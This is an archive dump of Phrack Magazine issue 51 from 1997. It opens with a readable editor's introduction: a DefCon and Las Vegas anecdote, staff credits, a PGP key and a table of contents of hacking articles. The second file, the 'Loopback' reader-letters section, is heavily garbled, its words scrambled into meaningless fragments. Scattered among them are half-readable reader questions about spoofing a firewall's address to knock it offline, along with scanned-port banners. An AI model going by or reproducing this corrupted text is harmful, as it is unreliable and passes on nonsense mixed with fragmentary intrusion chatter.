Phrack51/ 40700 0 0 0 6402643130 10402 5ustar rootrootPhrack51/P51-01100600 0 0 21722 6402644015 11236 0ustar rootroot---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 01 of 17 -------------------------[ P H R A C K 5 1 I N D E X --------[ Registered Hex Offenders DefCon. I love DefCon. Why do I love DefCon? Several reasons. I get to see many people I do not normally get to hang out with. And it's in Las Vegas. Ok, I guess that's two reasons. I love DefCon for two reasons. Las Vegas is a blast. No two ways about it. Free drinks _while_ you get FREE money. What more can anymore ask for?!@ Sex? Gluttony? Corruption? Greed? Thin facades? Tackiness? Friends, it's _all_ there. Vegas is certainly not for everyone. It's not for the timid, the shy or the compulsive. Vegas can and will eat you alive, if you are not careful. Even the most vigilant often find themselves victimized by Sin City... As I write this paragraph, my memory draws me back... back to that first week in July 1997, towards the end of DefCon V, when a good friend and seasoned Vegas adventurer came knocking on my door at half past 5am... He was armed with a coke in one hand, a whiskey in the other. The fact that he was noticely unencumbered by money caught my eye. The Casino Demons had relieved him of that. He was in need of a safe place to camp for a few hours... I happily obliged. I attempted to make his stay with us as comfortable as possible... However, my friend refused all attempts at hospitality. He was still deep in the throes of what professional Vegas travelers call 'The Zone'. He was in a dull haze, a casino-atmosphere-induced catatonic state, in which external stimuli are, for the most part, ignored. There was little I could do for him, so I bedded down... And there he sat, engulfed in darkness, deep within his own world... Eventually, exhaustion overcame him, and he drifted into an uncomfortable sleep... Early in the morning, he arose, determined to retake his reappropriated wealth. It took me a few tries of getting raped by that town before I realized how it works, and, more importantly, how to work it. It can be summed up in one word. An abbreviation even. COMPS. Vegas is all about being compensated for. Compensation for being in out in the fucking desert. Compensation for staying in some shitty hotel. Compensation for winning some of their money. Compensation for losing ALL of your money. Learning how to have a good time in Vegas means learning how to get comped. In order to be comped, you must either a) be some one important, b) know someone important, or the most common occurrence, c) comp other people. This past DefCon, I had my room upgraded from a single-bed room on the first floor, to a double-bed on the second, and then from that to a $400/nite suite somewhere up in the 20's (you know, the kind with the double doors). It's all about knowing how to work the system. Knowing how to get comped. Complaining about something is often a good way to get something for free in Vegas. So is being put out in some fashion or another. Go ahead and watch Casino and Swingers a few dozen times and you will get the idea... A word about this issue. In my opinion, and the opinion of many people way cooler then me, this is the Best Phrack Issue Ever (TM). Ok. Now. In Issue 48, I know I promised timely dissemination. However, I am an older / wiser Phrack editor now, and, what it comes down to, is that timeliness is not always possible. Not when there is a minimum level of excellence that must be preserved. This issue is a perfect example of that phenomena. We have amassed some seriously cool shit this time around. Technical excellence abounds here, and if we are a few weeks late, I think it should be well worth the wait. We've got several ground breaking articles, a great deal of source, fully nude photos of Milla Jovovich (not available in ASCII-Phrack) and a new format. Commentary, as always, is appreciated. What makes this (or any) issue so damned good? Simple. The incredible array of talented individuals that graciously lend their time to writing articles for us. I just want to give a word of thanks to you guys: past, present and future. Without you, Phrack would slip quietly into the night... This issue, a special werdup to halflife for the technically superior work he contributed for P51, thrice over. Phrack 51 comes atcha power-packed with new streamlined formatting! We cut out colons, added a surplus of dashes and brackets, and b00m! Less fluff, more EDGE. Areodynamicphrack. Europhrack. _Slickphrack_. Bad to the bone and shot to the heart when you think about Phrack, you touch yourself. Enjoy the magazine. It is for and by the hacking community. Period. PS The aforementioned gamblaholic ended up being comped three $20 meals, and a show (Lance Burton at the Monte Carlo). Man, that lucky son-of-a-bitch got to see Lance at the Carlo... -- Editor in Chief ------------[ route -- Nominal Editors ------------[ datastream cowboy, alhambra -- We've given up hope --------[ voyager -- Phrack World News ----------[ disorder -- Phrack Webpage Sloth -------[ loadammo -- Most Likely To Be Beaten ---| -- About the Head and Neck by -| -- Xanax ----------------------[ Nicki Jarecki -------- Elite ----------------> omerta -- Number One Crush -----------[ Milla Jovovich -- Extra Special Thanks -------[ halflife -- The Man on The Inside ------[ varak -- Gas Face Given -------------[ "Lunatic Unix with Tunics" -- Got owned? Shoulda used ---[ OpenBSD -- Shout Outs -----------------[ The Guild, r00t, The Death Vegetable, Swamp Ratte, prym, maverick, Cantor, nirva, The Army of the Twelve Monkeys, guyver, mycroft, Asriel, Theo Deraadt, X, Torquie, mudge. Phrack Magazine V. 7, #51, September 01, 1997. ISSN 1068-1035 Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people. Subscription requests, articles, comments, whatever should be directed to: phrackedit@phrack.com Submissions to the above email address may be encrypted with the following key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU= =1iyt -----END PGP PUBLIC KEY BLOCK----- As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext. -------------------------[ T A B L E O F C O N T E N T S 1 Introduction Phrack Staff 9K 2 Phrack Loopback Phrack Staff 45K 3 Line Noise various 71K 4 Phrack Prophile on Swamp Ratte Phrack Staff 14K 5 File Descriptor Hijacking orabidoo 20K 6 LOKI2 (the implementation) route 111K 7 Juggernaut 1.0 - 1.2 patchfile route 11K 8 Shared Library Redirection halflife 7K 09 Bypassing Integrity Checking Systems halflife 11K 10 Stealth RPC scanning halflife 7K 11 The Art of Scanning fyodor 87K 12 The Eternity Service Adam Back 118K 13 Monoalphabetic cipher cryptanalysis mythrandir 16K 14 Phrack Magazine Article Index Guide guyver 100K 15 A Brief introduction to CCS7 Narbo 10K 16 Phrack World News Disorder 83K 17 extract.c Phrack Staff 3K 723K ----------------------------------------------------------------------------- "...Who's the big winner tonight...? Mikey! Mikey wins! Mikey's the big winner...!" - Trent "Double Down" (Vince Vaughn) *jtb* phrack's like wine, it gets better with age *jtb* as opposed to, like, decomposing. "...Daddy needs a new pair of Jews..." - loadammo, clamping a mighty hand down upon my shoulder and a mighty hand down upon alhambras shoulder, Blackjack Te bi ias. S3ghty in V, NV.723K --------------------------------------------------------------------------23K ---EOF Phrack51/P2100600 0 0 126623 0 640523 112701236 0ustar rootroot----[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, artic2e 01 of 17 -------------------------[ P H R A C K 5 1 L O--[B H R A E X ------- Phrack S E 0x1>-------------------------------------------------------------------------- 10 7, Iss0ow Iveduals t Phr_is_... kets, ats bet of for mpedngratulmentahanks to on, and rhe Brmy of Phrsck St is puormat to it cipnd, wte, I thisNeckfat, or the minned foto gny) istue stimple. blepitaBrmy of ing articon, co Gu(YES!ractrplusco G!)iendledisd by thrd to won, com1Uympleuals tobvgraciouwpleuinions tt this issuele I cogohil, bernI'mIt's oes lusld sbalm. PSa th to! _pip_a... [ PSa th tomena. aimionse iasiss] 0x2>--------------------------------------------------------------------------.. { JewBug7 eq Phra0wonnou (Vmpleudeleecia.. } So ? ".. not s?will gegas rap lufBrmy of ve elamplisntetb* phays, s mu to7 esh, s 2100is (orcomp ot was litidiot the magaza... [ PSa th tomena. aimionse iasiss] 0x3>--------------------------------------------------------------------------.j 7 Juggernys,ple way prymnza.minon fug:s to doleuunsll IFF_PROMISChileexit him,i. It's beubsical10 Stey, berni. It' the eat donsfix. (orple. way za..the sza... [ Alt wighK 7 Juggernys,*t's*egas trder toa 'cice t'ow Igram, if you .. , deleecicaCopyriord abouformaIever shounsll w I prcuvarimo GuNot when .. w Igram,exitsssue. The tate,v-- Ver.0 - (1.2 patchfnot availablegega.. his i)aIe" (lly ngegasor ee, I gss] 0x4>--------------------------------------------------------------------------.Hi! nI' We've to t50.tgzhead ael prplay addewas litter wj 7Juggerors). Ie I ously cber: 1)ne. doesn'o get tchfim,artmnzxt. ' Wenedtch got#" (lly town bef 2)K 12 spousl wroduct in pess is qe susly cbecause, if sniufB haumpIt's ork ttufle of tgas omup beion from ea blae im haa blahhe marloas. f Uo7 y 2 spousay: 193.226.34.223 [4000] 193.226.62.1 [23] U spou ThintIt's ork ttufle of tgas omup beion f193.226.62.1 [23]ened ing or thnnzx is mgot193.226.62.1 bed on 23 (ecinet)ae imloa. Tyou wcause,ausly cmaddrbed on tcreenzaI' Wefew d 2 rhe rice to spop bebyrief intrelampins a e se. ic p->dail ==tf cht->sail was itraca.. ne,bror-pac to spo aga May toU'u wfixssed ing his th I gsza.ne. ms mae mrin rds, S uns!haia... [ e" (lly s mple. get tcpensatrmy of.. w Igram,ver shogohsmhappie can elaux 2.0.xsbaamasshe systeV-- Ver.0 - .. alsnsfixesd by TCP circe tgaocpensatw Iailm, if yllly ngCarl ] 0x5>--------------------------------------------------------------------------.ial Th! .. Thipinor eeimt, mpul Itl!15 Allis tr to ! PSa th to,E X Crahe ... [ PSa th tome] 0x6>--------------------------------------------------------------------------.I'mI I juto wrishit thousayt of xt is puormat oes su toa kickaddrthe pueminat ble en then 4ni. Ithe fu eatomped, yoremen the hackim, aat h to tny peodol'tw to hav(llepnd, wtic Uis.I. Ithe fu 1.2hphab, berni'mIgl. Badsayfact t of yoagw toundlp addewoesent iewooe ask, todonsfnd fu his is,s to you e I l Why to ma diufeccurre up in the hacking communitPSa xople.Snto mEyesd... [ Amenback to ss] 0x7>--------------------------------------------------------------------------.Hi! =8) n. Whl'tw to (s t Ph) get tchfnto pdpensaPro-PProphile, I n H/P G pack's land tnphileny) is#6 ? So we - and rhaffen - nly , I kget someth anymo-- About ACTUAL tcega (bernperhapaci. It's ell w - ppl Isickneed 's ors t3l33. d00dz ;) ore I l is appreci ors tdox & srcdrbedspoofmorniD.O.S., etc. HIGH the techn blepita,l of souests, articlnof Jew.sent i. Itree! :P Ahhuess thahalf! ;) n. Howev, a grjobpted with eks e Best Phrhis is. To blote aremy friion agaz(talknockif--[ Phrack Maga)arlo.>ne. Iimt,ov addewoested wDeamon9itor ng ent.arlo.K,uess thaI l. **PHRACK RULEZ!** (on, I housayt oft :) Ohew.sent sor ee is ght nglish! Cya.arlo.-Axl-----.. [ e. asbad the iity. hapacow someack wok's lao Whyas c7, artion.. rds txisnnockg pac- Aboutreuted fo2?s] 0x8>--------------------------------------------------------------------------.Ieack wok's lao , I kwct t of su7 Jst way to mo thedoducedand ropyr y Redirectrinu towrishi get I propluscompuofen bed on plar itr (orminned fotbed ot t of wr shouldvailahouspyou wr shouldthe m is aappreciatatodynaunk.-.. [ e. I*I l*mo-- Abget I proyone. Iget someth of to hao WhyonB somiorder.. rdsysteL Regnback tsysteDhl'twsh Aboutm oes lus of yhalfmple. y you .. woOffefu wc a g fuhours.. thaIt to gin, aas lanhackim, get sen t,s is,s to .. * to *lace et I prop--uess tha in plus tolamping g fu hadmentahhipss] . 0x9>--------------------------------------------------------------------------.IeRedeortaewor-pactly imainlrhim,ilers addeemy friace eteundlp mo Not when slimijimi he waundlp om eacidrmined7 y or ano laddr, I n t soPerioa. sthe y It tarnalflet shn cooor a Swikim, gtrahehegnpacte cut im, is mahsm 's woore upl shit wwe It tarnm 's speas ettenymo-- Ab3 feet loackim, ti addewoore uto tnphem, ge ow ik woulds mgotmas land woore nm 's eton ff chr. PSt when yas land tenymofrieuupl scedanrwighKand woore up in th Swi hprnd by toreedg some ofinlrh my dopes can ulds mbe Slwoor ad Fri anrwighKholdnockinons to unwoor ad Friloa tSt when use, in th Swiionseosiotbed od woore up in speas etteny ime arwith thon fockneurre of to haod woore uonseosiotbed of old in th Swiil10 dy can m upuI oupu's ork wooretopyriome arwith fockn oellencd woore setopyri of I jpu's up bed on th Swi. .. T it wking he m 's veh articted wiorethon focks can and witwas litst, p.sent p extServ It candsomeoto ahoul2n ags. alsnsits laddr e sspi gracsent easiwiionsill geas c slimijim. on, andy you cthere n I d tnphnot ined7ossd by cut if betund breakted intooremreewoesluscarsza.Hup h of fe arwit ThProphell w ks _w C'yaed. SGlut Pluta... [ Aspirmeth ofackiat, o relcsemoackusd of th of;wingwhateve, ifghty focknch youre up in iat,ck inmped, yopyri7 y unwoe hackith thonghty enventume] 0xa>--------------------------------------------------------------------------.. HOW YOU KNOW YOUP H TRY HARD HACKER.. --------------------------------------. 3K 3K By [Xt afo] s. I juro write tned7be w 's hen yry thrd the fen get sometza.1)xt. goto t ano the fe Webn bed on web. 2)xt. , I th - lampinw Igram, ot twazx is mby y the fe e tthe hac. 3)K 12 ortaisometh of d. Soill get a bee mossswd atchfion f of yisp. 4)xt. goto cof nelack's l#the lder are askmossswd atchsza5)xt. Whl'tw, I kwcet inedill , tez. 6)xt. ot alwecinetrdup he csent type login:-bedt osssword:-bedt im, gtuflek's lanantex7)xt. braining abing if you y the fe. 8)xt. Whl'tw, I kC. 9)xt. raIt trl. 10)xt. Whl'tw, I kwcs thaIwshe l. 11)xt. Whl'tw, I kwcs K 3ux,it. BSDlder a's orosn the o UNIXthaI the12)xt. Whl'tw to havUNIX OShe13)xt. , I thNot wuypassiRC , t e Descs,s tortthe hac. 14)xAskearning how tcknemp other pe'sscompuofe. 15)xt. yry crhe hackiwshadngwdmossswd atch. 16)xt. Whl'tw, I kied oossswd atchfke hhadngwdmeditonte17)xt. are wof tgasa T1te18)xt. are ing howove embombimes and , I thove embombmethingained plus te hac. 19)xt. raans learnBASIC annu mud20)xt. , I thand It ill ted ithe hackgtrahehe aple. 21)xt. Whl'tw, I king howsll up ntooggdrorebonte22)xt. , I th.miernaaabousioesrnaaabcamp focofayryza... [ PSarnys,prt with to a tknow, d-- Ns th I gCon, abohaterhafe upmyyhalfm.. e. ortaiWhy da, todand nnseoiommenbern if we a's I kd-- Num tolamprhafe.. rdformaMaytGodn, abmercppie tort oflss] 0xb>--------------------------------------------------------------------------. W ng entiWhy duse, otmas l of denit deal ty Servwer-Webp it ?a... [ t. ol sch youre up in Go ahand withammnoth] 0xc>--------------------------------------------------------------------------.Ieaambrof Scann in 413 xxx 99XX rh Swimes I fe arwsed s#'srs... ve nnsthe wof tandy WhyonIeaambwoOffemethie, if e I condlp mo oerorMay toct's orkmiend anekwct t of ten fon fet seetza.(413)xxxx-99xx.(413)xxxx-99xx.(413)xxxx-99xx 12sif we a's fax #slate, I t.(413)xxxx-99xx..(413)xxxx-99xx ack gbs, dbs, dbs, ..(413)xxxx-99xx ack gbs,s, ..(413)xxxx-99xx auonsf7, toate, I t..(413)xxxx-99xx ack gbs,spgbs,spa... [ Iefew d ct'scann insifbernIe've CasinswnotheMay to in 'X'king onphtnp 3K gas as somnsiotve?h] 0xd>--------------------------------------------------------------------------.Sir,.Ieack wok's lao , I king e I cos. I bedttten permission fa sthe edusee. on, abrhafehis th Isv It canac, delisher andslluidnw Igrammeals, on, abrhaf as c7, artidle Debcann in ood w Isv It candsomeoto6/7 Phrack MagaziSas stI e I cl'twk in bedttac,add. I wr shouldor eeiplarNs oducedten cann alwlus omat thin hn Irix 5.2fon Soff in 2.5. Ie, if , I kanyanhackird about ,se iasit tos, mhfntoe-ve e. Ie, if , I kany rheof sou bed on Web ors td shilsd by use eal tluidnw Igrammeing In order I bedttac,add,se iasit7be wmaza... [ P49-14h] 0xe>--------------------------------------------------------------------------.>AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAYnner< Mich,It's M-a-bthe"Mich"fke hh im amp "Michel."a..M. E. Kabay youD, CISSP (Kirklow, aQC) D Redio pairEduuemina Neminat dCompuofe SecuntegrAssocbreviat(the isetabPA) http://www.ncsarack.c. [ No,ns! fke hh im amp Michaelss] 0xf>--------------------------------------------------------------------------.t. raMagaziney's tNs P iasittos, itrdupPsycho Al1@aolrack.red. pPsychohabelve iod.:Aohe l ruleza... [ t. we antidiotss] 0x10>--------------------------------------------------------------------------.Hi you, Phrher pe! ion? grjobpileny) is50!--[ y the magaziine Arti'rd abTTY olr Hijackke his l lly sb. on, ab I jsomen reqduction tomeIsboutreuany in wu bed f chtsshe syablegega.siourevia?K 12rethaIws Resr,ieuunp beio BSDl2.1.5,hand witshadngwdmosssw InszaI' Weg. asdit -up nccofay bed ot tmachagazasfa sthe edusee. Wbugsv It I use, do ftolampredtttrivtchebn?a.the Bwif dasion fUkrahne!!3K OmegAa... [ ten f/ -ten -4000 -temets] 0x11>-------------------------------------------------------------------------- he lCarl loac-eir trhaffe,that f-eir t I wr: i , I k ot ta's "sm Submiss" ot inedmay be encryew.sent iever shoul be enchackimys alwaberni'e wmas lis qe Phrew.stNsthesn me, thil't e I l "sm SubmisJews. cdngratu bed aaphcann in 50d wny) ismar kets, cdngratu bedan al excernysh! i I ja qe Phrn reqductheieack wok's lao be inl get do ny) is#50king onweb Web,hand withyperlain ela back tl Offi Specou, PhrHet Webp(http://www.fc.net/tb* ph/ - norRedi?). te, I think alwbemets up sed sone imporseoiommenend a" (Vii. cdpy I wecond, of srel'twlosnrlway'r are to (i. It's k's la sthe edcdpy I ww toustopp addnevertown be)! of th, xceuta... [ A sthe edcdpyCopyriess t's stoprher pewabern in sthe edrNs ioumina . re enter andcofrtu yopyrtion. Howevg. Go ahead pith thyperlain ela . 3K 12 offi Specwck Webpyou wbLancedit@phrack/net/org, SOONss] 0x12>--------------------------------------------------------------------------.. ue. e VolFofrme 7, IsF imy-Oe wi 5 F3e 01 3, Sly sni7 Jueaambfa g fud ie tort 4 Phrack-PProponey. ohate I eerminedhim? , and"grI kup ntd chtsa his rjob"hole shere as stlurbreakine ar?-.. u-iSayxa... [ Boweal] 0x13>--------------------------------------------------------------------------.Pny peo@t 4 Phd toIto6/7 Phr#50kout in t 5 F' 3 noize' Khe bced ro wras c7, artiird abre o w BBSithe hac,Itad timuypassReergaff Idefault 'PKUNZIP -do'W ng entiice I w by userbaamhand w tortI n arlo.Fon fet kgtra Switwo re, ks _witwergaffhisNeedtwecond, ie,inkeuus PKUNZIP -do by w Iced fu you wNOTp it ew.stern in w Iced fu DOESw to wNot wRwergaffhis and dnce at Dosrackmpt..?-.Dck gRwergaffh 17 ext atchsctly immy memon fet shcannks _wibee mething ing Integ? -8) ar Iefew d thin huy bed10-04, 5-11sent even 04-ts, what- at-the - ot -v-- Ver- He ws, itrdicl'tw it ewwte, I thKhe bce ddy nendlp do fosv hratatocrhe mailidirecta" (ViIv It't ten fany ood ays poss der I fosvc7, artihow to rlo.op: TaosrBBS ~~~ Telin rd v3.02a... [ W, d-nnoword.evertels. We has caswno?h] 0x14>--------------------------------------------------------------------------.Rin rdmethXc7,htahasm Submisiird ab 3ux IP_MASQeoto6/7 Phr50arlo.Tof vesn rr- lampco Guess is hesigamlined theunteg. H rdwirmethRFC1918 ail addhsctly i at IP_MASQeco Guess is av(lwhatevhe Con for two rea:a.1)xe. dis a f das by usefulmelinome ofino G. on, ablda uvesn rr- lampto k,spgshcansieuunp beNot wmainkmpany cth Swd plar itow Iviffen. o vesn rr- wdmeortI wo_valid_ IP rh Sw. Omp other peiess eteuu deep emp otvalidbldasd to, ow Iviflamprhd-ndancydanrwighKaor ISPs. 2)xTof vesn rr- lampco Guess in plus ofi 3ux wer-pt atctowev in wh It You certai to bnfig fudionsereventdspoofmornia qe sua bi What . of ork tt"Lunawer-pt atctow on, and vesn rr- lampco Guot iuoppose it ci andy It w Iviff, s mu totheuntegzasfa 'Areodyn' atctowmethi Rew 's wo, F Rew 's-1e upmany caamn. Ador eehh im 'HOW-TO':a.1)xPutdspoofmor atctowu beda's plarfacmn. Ortaiae foe" (-- Ngawer-pts y i at ich exter plarfacm ie,rom ea bsseminamail addrto, is trmy of.ich exter plarfacm (ess thatof iil addrand vesn rr- lampco Guin des, s of.eof so iil addrrmyd ago Ngawer-pts). 2)xIn de rule(s)kout in tsk, tomor atctow, otmasn rr- ww tortI ago Ng wer-pts.xt. WhI do nermined ro" (-- Nga belw tr otmasn rr- wd wer-pts Man, t I ees, uto-theechnic. Deny for eshcannels. (on, _log_). 3) Mas ls fu in g, wood doesI do euupanyanhackan, theaelcs ifgvulmeraossibDhl'tweuupNFSknow, e imm I er etc. Updpenttos,ve ewaben fio by eks e Bv-- Vershie, if euup tsys 4)xDisvailahcinetcond, use,'ssh'e is gn planee L. Ie, if hat msupe im " (-- Ngaecinetrsl wroducsdanrwighKand i Rew 's in tt's ork TIS i Rew 's Itlkitcond, use,ver-eir tosssw Inszaa5)xRuup'COPS', 'Tripteny'zaa6)xRo aheen a gbIt tard abIplar itotheuntegcond, mas ls fu ifg ahounaaabct's ork his is involv adown bef if e nfig fu _any_ i Rew 's, evenp in ond witGUIlder andrItl-teoion ofual. on,up hme, thisuseful howseteuuts people.Ge' Weijowu (speasmething myyoureorta) 0x15>--------------------------------------------------------------------------.t. I wwoto649-06d to:ours. 12 ortais fu ood wayea brod w Isto:cof nel e tneddeny ing ICMP_ECHOo7 effi ctly i tort it to r Nozine. suffi tr otartmre ofino5 Conplus ofiwer-pts Not w9 Bypassand i Rew 'sza..ralf... [ Pruay bwightion. Howevbys omathme, t if emy o haod RTTminnesion .. rds ICMP echosr in whyou wbnd b sed sone implementasr in whreappie itss] 0x16>--------------------------------------------------------------------------.Hi yI´ fa Wf nabrquiay to of wr shoct's mwimes idiots Wutreudks to you t to hang,siRC? Wn wh of nel, #sup afo? Wn whs Resr? K I kany e a gorix ing meking howans lh anymo-- Abthe hac?-.P iasitcaswnopmyyhts bee 48, I k ot t of I lctrplushts belwaber e iasi!!... [ EFNetco#tb* pha] 0x17>--------------------------------------------------------------------------.Ynd It´tIe I ousayt oft iRC It is loosnrl cuzeoto6/7 Phr50aIeva kanting art ond wsed slain yas ssion fiRCcond, of wereewogSwd p.... [ W, areewosfen. Ergo,s isn ifcmnzx]-. i-bitcod the gbIt lwaUNIX bIt lant, ocansik's lananudks to rees, cod. PSa thYnd Fon An Answno!!... [ AnyanhackAd-[ n W,sleemon ORAwordlso,pmany rmy of TR/PH bIt lss] 0x18>--------------------------------------------------------------------------.Ieamjuto wrisho pqe nymo-- About fpentif--irpentack Maga im, hI knoyopyrino5 ext i. Ic a goen. otothSysthow to hbeen oes lu circecpensata" (Vi1990als, on He hopwrisho wooe ncedys posemonganiz Ng sed sthe kore uo wfoto gao bvto gae, t al excernthe pueminatwte, wight the fiy i urction6/7 Phrthe magaziTof xt is torteir . JooackGun... [ Any in onveuany inned fotbe?h] 0x19>--------------------------------------------------------------------------.He lC, -.. s. I jg. Phra0wond. I , it.arle. Itand i RI jsomeI' W gotssIeaambwoOffemethie, if you t, I kabcut imrcomp otnof hts belmon the magao, is taree presy i torte-ve e iil addrrrhand It ill offd on webion.atrinulmrebasisd to, oPurophra of X... [ Omp otthe magao, eteucan mo bedasere shirinulmrebasisORED. Phrga.. eh exte.ED. Phrgaw 's hen nermss] 0x1a>--------------------------------------------------------------------------.P iasitndlp mozinefiIv It't joie tortclub,se iasitlto mo ans lhion f ofzine ameiplarNs oducedbe SlP Igram,the hackim, re o wtac,add.-.ial Th.-.quatbro... [ t. joie tortclubhie, if eaoften ftort ec attclub wisiss] 0x1b>--------------------------------------------------------------------------.hi.ed. Thision fa you, if w Iaaosemyou wnohate tmreeed k inmpntd detenporta onveunohate tmr need lrhafyssIeaa na are to arn reqducthAt pon choy prher pei I ww rap lup tsir... wer-icted wtedeoero... ve nohatedsomeae, t is 2 two reaa.1)xe doleuaa na tog prypted with s opf yo shnGo as, etcd ini I w "Paplara"kim, "666"kim, "Saaaa" etcdternof Sdo naook msoockif- o relw im,/is gor otahf sh.arlo.2)xe doleuaa na tog prypted with aa na tothe fen ini I w gtufl to, oAna shon ymbo mea"Aohe l" "Kabcom" on, and su t,cbecause, is s. I out p ekmoziYof to hao feel sor ee is her pei hoe, I thandy you e-- E because, idy It ve ebombised bodyza.Aor ano two re on, abnohateout writanyanhackis on, ant fe arwanyanhac tohe adce tiomposOk. in, a,sIeaa na I w " 12 ghe G"mon fet shcannio bat ich nntuiay to"ld, "mon fet shcan. on, ab is hsomeae, t is i hs t's es trderphis to offd(en cRedi ouset someth amally get to ays about I con I ee, re Septemand 6ddegre triesse erfotbe?hhehehe). Ie,w Istin hkhand w tod temr camewse iasiss(cad@as trlerrack)rdlso,pie, ifr woOffemethwheeim ve elampite tned if yloe wipl scscbecause, if we a the fuckbiiladd. heh. W,l prtemr camewsNot ohateok?d of th.-.(48, I ki We has cbscurreiespuncourevia,ni'mIwas ihf ryals, on, a hte sto )a... [ t. oWe htortten permisstni I w ld, pie tort.. wer-me] 0x1c>--------------------------------------------------------------------------. isni es trderans lhing how tcknls, nerminedans lhiaI oJs444inel, mhf if eaofndlp you wrepamaBIG of th .. [ on. the? s] 0x1d>--------------------------------------------------------------------------..Ie presyhhision f torttoir tosgsibl Tht X-UIDL? s.d-nnoends, i4 AM (orple um ot,ckll deepmen finat uo twspreaed(efx is )ions tt tess mayaumprmine #the le inloducedand nain Citis lcame klufBrrnts, whrr-.Ieaamb I jk's lanI tnockih,sIeaambanI tnock"I Whl'tw to han Irix sniufno!. acEventupmyy, wights Whl'tw to hblotesiome arwithm ow asuff, mwo, ~o-ct's ork Irix sniufnos on, a su k -o~ im, tot when tsik's lIrix 4, 5, 6yonBa with. k's lsniufis su ks can (orple. ... Ande onforementio tt tead per pei ereemasmethiuinion ewaber I Whl'twnot yonIeortainlry eks semyot w9er peia, mwo, ea"Ohuess thats, uch y mas ? s'mI17,w to hav(ri- Nomireesrdond, mas lped thzen tiess !. .Aorple,w9er peia, mwo, ea"No,nnotor, nscsce-- E"him, s, wightmpnha,sI'll are or, nswct teen a gIrix sniufno isOREOhd to, o I k ot t9er peia, lce Vhackieuals tI to hao k,spgshcsrn rtsik's l ec teormaIee EveI t.sed sIrix's Whl'tw to hget tchd to, oSoff inrmath int himm oSoff in's , ab Phrshe waiAorpleza.1)xn. Whl'twuewogpie #the tant,abef if t tsie-- E #!ghe G on foy id e-- E #www on #redtt#Tyouopyr_Zhe bone nd, more importao.2)xerix sniufno - nlpg fuhtosssw InsmpncEventupget tchsrs... E codcan. ver, I witwazy Americmnzxth. k's ,s of gettlegiI bedttac,addion.an Irix bvah,sIrix sniufno! Bye-bytothe fen oSlPostS Desc 3) Abef if av(y traunk? of I rh Best Phra wr shl'twlo, oMr.edishlNum toto"Abefthe fen it ilmeral gew w?", s ofen reqduct_for ever_, it late, I t, Abef if av(y traunk? Wr shouldit... [ 1mena. det to hang bedasn of mahe pu cof nelacasn ifcmnrnaaabcamp.. , theaI ja was litbi Wif- ir taaphthis issuBut his l w. Wh.. if earm ie,ntoehe ediif--[ Phrisboutreuyot w9er peia, mver rmat . ,-- Aboutirttenke hiz bone ing of mdrugsvandy you DefCoIe, ifghty es trdertalkning about somet,n if we a'two waot availabyte-ve e . ,an and wusventuptalknned if byttrivpentmsgs and if wel'twbusighty omathset somethels. nce at mphent. 3K 2word.evertes trder I w acse his l sly cver? 3K 3oney.of we wplace th Swo7 ediotbe?h] 0x1e>--------------------------------------------------------------------------..He lC,-.Ieaa na are to set sometho-- About fhe followw Iailm. s'mIhis l gtuPhrKI2 ( 1s that ;-)) !eIsbicedys posplaceosssgain Rew 's der ac,addion some ofi dogn pscbehis, itr?? s'mIafraifehis th k thead agsrdicboutirtjobpfagaz:( aI' Weg. for eshcannnd, wtenermib aboufoe so esll.arle'e w to g to set minnes bat I' Weob cermassekfat key IP-iil addrrmyand i Rew 's,ey A's ork dogn psc+ IP al addhscbehis, shcsrw 's,ey Tcd wogin-nccofay bf ork tly suser,ey A's ork opes-UNIX e imscbehis, sherw 's,ey Tcd nkmpany hhe wauWWW-sioestern iny det to han Intra itr e imsof Scann to drawsshcs: 21~=ftp, 23~=hcinetc 25~=smtp-ve e 220 x.x.x.x SMTP/smapxRo ay. .. Thipit IP x.x.x.2fbernIefe arwd aboufo alsnsx.x.x.1cbeloacsions to saook nkmpany and w3nemp oth imsarlo7~=echo, 9~=disofrd-si thnull 79~=fi Swi. .Isd by crtaiood way o bytD.O.S. all. band i Rew 's im, tot wspoofe ofi i Rew 's's IP all ad ?a.t abing howstin p?? Wr swue a) bsthe ktoondlp mo ??a.TIA, byGIZMOa... [ tragmplementa.s] 0x1f>--------------------------------------------------------------------------.gas. tt teopyrise arwd-- waberlate, I thinkwr shouldsly chow to h tt te te swogmnza."Blah,sblah,sblah,saabct'oockand w torts Subscrip,s to'u wreceto gi LIFETIME WARRANTY ON YOUP BRAIN!!3KPSarnys,pie,fis (orctwo re tort.rahn It't teg fu with tw Iailm, if'beftholampthe hac,I I je-ve e uskand w tor n reqductead ae'u wbLagl. Badndlp to oero.Note: P iasitEND be encct's n reqducsmrin rdlampthe hacen reqducs. PSa th tom"-.Dc to lo, oit?.Noteboufo blah,sblah,sblahnys,p. ohate of wr shoitrder t. Su toamea"Ynd It can subscrion6/7 Phrack Magazandsln canne-ve e ne P phrackeinnenaiusracktion reqmeth of beeing ped od wint haabct'oockand torts Subscrip......" .gas. ts s.it.arl I w .. bie, if lo, oit.arloteve, if Whl't. Hn theremyyEND ahe pu key. Ohuyeah.ared, yopyri to hg. writve e ion fPts Tode@aolrack. PSarnys,moziSo y Redia belw tr otorosn maddWebn ons tt ts a iil add.arPSa th tom... [ t. 'befropyrtioe. doesise arwd-- ss] 0x20>--------------------------------------------------------------------------..Hey,.. sor eeder emp ot of bernIe I jg. Redcs K 3ux 4.1ucedand ve 